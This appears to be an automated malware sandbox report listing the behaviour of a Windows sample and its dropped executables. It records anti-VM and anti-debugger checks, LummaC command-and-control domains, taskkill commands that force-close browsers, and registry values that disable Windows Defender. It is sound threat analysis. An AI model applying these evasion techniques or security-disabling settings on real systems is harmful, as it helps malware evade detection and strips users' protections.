Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: AFE927 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: AFE89B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Special instruction interceptor: First address: E9ED3E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Special instruction interceptor: First address: E9EC91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Special instruction interceptor: First address: 10508BB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Special instruction interceptor: First address: 107ED52 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Special instruction interceptor: First address: 105CB53 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Special instruction interceptor: First address: 10E38FA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Special instruction interceptor: First address: 117DAE2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Special instruction interceptor: First address: 117DB36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Special instruction interceptor: First address: 132BEBA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Special instruction interceptor: First address: 4ADC7A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Special instruction interceptor: First address: 65BE06 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Special instruction interceptor: First address: 6E8C02 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Special instruction interceptor: First address: 28E927 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Special instruction interceptor: First address: 28E89B instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Memory allocated: 5570000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Memory allocated: 5730000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Memory allocated: 5570000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Memory allocated: 4870000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Memory allocated: 4A20000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Memory allocated: 6A20000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_0100A24D rdtsc 2_2_0100A24D
Contains functionality to detect virtual machines (SIDT)
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_0101D32F sidt fword ptr [esp-02h] 2_2_0101D32F
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 610 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1221 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1134 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1201 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 600 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1234 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 7644 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe TID: 8152 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3228 Thread sleep count: 610 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3228 Thread sleep time: -1220610s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4324 Thread sleep count: 1221 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4324 Thread sleep time: -2443221s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7772 Thread sleep count: 275 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7772 Thread sleep time: -8250000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3332 Thread sleep count: 1134 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3332 Thread sleep time: -2269134s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1800 Thread sleep count: 1201 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1800 Thread sleep time: -2403201s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4916 Thread sleep count: 600 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4916 Thread sleep time: -1200600s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3616 Thread sleep count: 1234 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3616 Thread sleep time: -2469234s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2212 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe TID: 2080 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe TID: 2476 Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe TID: 5848 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe TID: 7672 Thread sleep time: -84000s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Thread delayed: delay time: 922337203685477
Source: skotes.exe, skotes.exe, 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmp, 3e1d30d118.exe, 0000000A.00000003.2791531103.0000000005EFD000.00000004.00000800.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2718230943.000000000130B000.00000040.00000001.01000000.0000000F.sdmp, 3e1d30d118.exe, 0000000C.00000002.2985897233.0000000001033000.00000040.00000001.01000000.0000000E.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 3e1d30d118.exe, 0000000C.00000002.2982202983.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW0F
Source: skotes.exe, 00000008.00000002.2984921705.000000000115A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.2984921705.0000000001127000.00000004.00000020.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2718871145.0000000001723000.00000004.00000020.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2718871145.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2883520034.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2874734726.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2881423508.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2896778343.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2879394897.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2900515858.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: c077ee22d1.exe, 0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000003.1871689516.00000000063CB000.00000004.00000800.00020000.00000000.sdmp, 910S1Q63XQ87I6P4.exe, 00000002.00000000.1872483231.0000000001010000.00000080.00000001.01000000.00000006.sdmp, 910S1Q63XQ87I6P4.exe, 00000002.00000002.2031636005.0000000001010000.00000040.00000001.01000000.00000006.sdmp, SP29EZJLUAF4OXVNPKLP.exe, 00000003.00000002.1954032460.0000000001016000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.1990587948.0000000000C76000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 00000007.00000002.2005619805.0000000000C76000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmp, 3e1d30d118.exe, 0000000A.00000003.2791531103.0000000005EFD000.00000004.00000800.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2718230943.000000000130B000.00000040.00000001.01000000.0000000F.sdmp, 3e1d30d118.exe, 0000000C.00000002.2985897233.0000000001033000.00000040.00000001.01000000.0000000E.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Thread information set: HideFromDebugger
Potentially malicious time measurement code found
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Code function: 3_2_051B0B3F Start: 051B0B55 End: 051B0B5C 3_2_051B0B3F
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_0100A24D rdtsc 2_2_0100A24D
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Code function: 2_2_0101C32B LdrInitializeThunk, 2_2_0101C32B
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00AC652B mov eax, dword ptr fs:[00000030h] 8_2_00AC652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00ACA302 mov eax, dword ptr fs:[00000030h] 8_2_00ACA302
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: c077ee22d1.exe PID: 6988, type: MEMORYSTR
LummaC encrypted strings found
Source: file.exe, 00000000.00000003.1686828213.00000000052E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1686828213.00000000052E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1686828213.00000000052E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1686828213.00000000052E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1686828213.00000000052E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1686828213.00000000052E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1686828213.00000000052E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1686828213.00000000052E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: presticitpo.store
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe "C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe "C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe "C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1003125001\num.exe "C:\Users\user\AppData\Local\Temp\1003125001\num.exe" Jump to behavior
Uses taskkill to terminate processes
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: a8c7d2631f.exe, 0000000D.00000000.2729895172.00000000000F2000.00000002.00000001.01000000.00000010.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmp, c077ee22d1.exe, 0000000B.00000002.2718230943.000000000130B000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Program Manager
Source: firefox.exe, 0000001B.00000002.2895014650.000000FFE623B000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: ?ProgmanListenerWi
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00AAD3E2 cpuid 8_2_00AAD3E2
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1003125001\num.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1003125001\num.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1003125001\num.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00AACBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime, 8_2_00AACBEA
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender notifications (registry)
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1 Jump to behavior
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1 Jump to behavior
